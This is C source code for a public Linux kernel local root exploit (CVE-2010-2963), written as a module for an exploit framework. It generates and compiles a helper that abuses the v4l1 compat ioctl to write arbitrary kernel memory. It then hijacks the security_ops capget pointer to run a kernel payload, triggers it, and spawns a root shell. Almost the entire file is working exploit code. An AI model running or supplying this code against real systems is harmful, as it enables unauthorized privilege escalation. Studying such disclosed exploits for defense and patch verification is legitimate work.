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//source: http://www.securityfocus.com/bid/44242/info
/*
* CVE-2010-2963
* Arbitrary write memory write via v4l1 compat ioctl.
* Kees Cook <kees@ubuntu.com>
*
* greets to drosenberg, spender, taviso
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include "exp_framework.h"
#include <stdint.h>
#include <string.h>
#include <poll.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <linux/videodev.h>
#include <syscall.h>
#include <sys/capability.h>
struct cap_header_t {
uint32_t version;
int pid;
};
#define DEVICE "/dev/video0"
struct exploit_state *exp_state;
char *desc = "Vyakarana: Linux v4l1 compat ioctl arbitrary memory write";
int requires_null_page = 0;
int built = 0;
int super_memcpy(unsigned long destination, void *source, int length)
{
struct video_code vc = { };
struct video_tuner tuner = { };
int dev;
unsigned int code;
char cmd[80];
if (!built) {
FILE *source;
char *sourcecode = "/*\n\
* CVE-2010-2963: Write kernel memory via v4l compat ioctl.\n\
* Oct 11, 2010 Kees Cook <kees@ubuntu.com>\n\
*\n\
*/\n\
#define _GNU_SOURCE\n\
#include <stdio.h>\n\
#include <stdlib.h>\n\
#include <stdint.h>\n\
#include <unistd.h>\n\
#include <sys/types.h>\n\
#include <sys/stat.h>\n\
#include <fcntl.h>\n\
#include <string.h>\n\
#include <sys/ioctl.h>\n\
#include <sys/mman.h>\n\
#include <assert.h>\n\
#include <malloc.h>\n\
#include <sys/types.h>\n\
#include <linux/videodev.h>\n\
#include <syscall.h>\n\
\n\
#define DEVICE \"/dev/video0\"\n\
\n\
struct video_code32 {\n\
char loadwhat[16];\n\
int datasize;\n\
int padding;\n\
uint64_t data;\n\
};\n\
\n\
int super_memcpy(uint64_t destination, void *source, int length)\n\
{\n\
struct video_code32 vc = { };\n\
struct video_tuner tuner = { };\n\
int dev;\n\
unsigned int code;\n\
\n\
if ( (dev=open(DEVICE, O_RDWR)) < 0) {\n\
perror(DEVICE);\n\
return 1;\n\
}\n\
\n\
vc.datasize = length;\n\
vc.data = (uint64_t)(uintptr_t)source;\n\
\n\
memset(&tuner, 0xBB, sizeof(tuner));\n\
\n\
// manual union, since a real union won't do ptrs for 64bit\n\
uint64_t *ptr = (uint64_t*)(&(tuner.name[20]));\n\
*ptr = destination;\n\
\n\
// beat memory into the stack...\n\
code = VIDIOCSTUNER;\n\
syscall(54, dev, code, &tuner);\n\
syscall(54, dev, code, &tuner);\n\
syscall(54, dev, code, &tuner);\n\
syscall(54, dev, code, &tuner);\n\
syscall(54, dev, code, &tuner);\n\
syscall(54, dev, code, &tuner);\n\
\n\
code = 0x4020761b; // VIDIOCSMICROCODE32 (why isn't this VIDIOCSMICROCODE?)\n\
syscall(54, dev, code, &vc);\n\
\n\
return 0;\n\
}\n\
\n\
int main(int argc, char *argv[])\n\
{\n\
uint64_t destination = strtoull(argv[1], NULL, 16);\n\
uint64_t value = strtoull(argv[2], NULL, 16);\n\
int length = atoi(argv[3]);\n\
if (length > sizeof(value))\n\
length = sizeof(value);\n\
return super_memcpy(destination, &value, length);\n\
}\n\
";
if (!(source = fopen("vyakarana.c","w"))) {
fprintf(stderr, "cannot write source\n");
return 1;
}
fwrite(sourcecode, strlen(sourcecode), 1, source);
fclose(source);
if (system("gcc -Wall -m32 vyakarana.c -o vyakarana") != 0) {
fprintf(stderr, "cannot build source\n");
return 1;
}
built = 1;
}
printf("Writing to %p (len %d): ", (void*)destination, length);
for (dev=0; dev<length; dev++) {
printf("0x%02x ", *((unsigned char*)source+dev));
}
printf("\n");
sprintf(cmd, "./vyakarana %lx %lx 8", (uint64_t)(uintptr_t)destination, *(uint64_t*)source);
return system(cmd);
}
int get_exploit_state_ptr(struct exploit_state *ptr)
{
exp_state = ptr;
return 0;
}
unsigned long default_sec;
unsigned long target;
unsigned long restore;
int prepare(unsigned char *buf)
{
unsigned long addr;
if (sizeof(long)!=8) {
printf("Not enough bits\n");
return 1;
}
printf("Reticulating splines...\n");
addr = exp_state->get_kernel_sym("security_ops");
default_sec = exp_state->get_kernel_sym("default_security_ops");
restore = exp_state->get_kernel_sym("cap_capget");
// reset security_ops
super_memcpy(addr, &default_sec, sizeof(void*));
// aim capget to enlightenment payload
target = default_sec + ((11 + sizeof(void*) -1) / sizeof(void*))*sizeof(void*) + (2 * sizeof(void*));
super_memcpy(target, &(exp_state->own_the_kernel), sizeof(void*));
return 0;
}
int trigger(void)
{
struct cap_header_t hdr;
uint32_t data[3];
printf("Skipping school...\n");
hdr.version = _LINUX_CAPABILITY_VERSION_1;
hdr.pid = 1;
capget((cap_user_header_t)&hdr, (cap_user_data_t)data);
return 1;
}
int post(void)
{
printf("Restoring grammar...\n");
// restore security op pointer
super_memcpy(target, &restore, sizeof(void*));
return RUN_ROOTSHELL;
}